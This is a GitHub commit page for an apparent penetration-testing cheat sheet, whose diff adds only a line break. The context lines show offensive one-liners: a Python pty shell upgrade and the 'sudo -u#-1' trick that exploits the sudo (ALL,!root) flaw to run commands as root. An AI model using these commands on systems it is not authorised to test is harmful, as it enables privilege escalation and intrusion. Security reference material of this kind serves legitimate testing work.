Update Cheat Sheet.md

This commit is contained in:
AbdullahRizwan101 2020-12-17 20:29:40 -05:00 committed by GitHub
parent b5d7251560
commit fa8deb4d88
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -12,7 +12,7 @@
* python3 -c 'import pty;pty.spawn("/bin/bash")'
### Vulnerable sudo (ALL,!root)
`sudo -u#-1 whoami`
`sudo -u#-1 whoami`<br />
`sudo -u#-1 <path_of_executable_as_other_user>`
### Execute as diffent user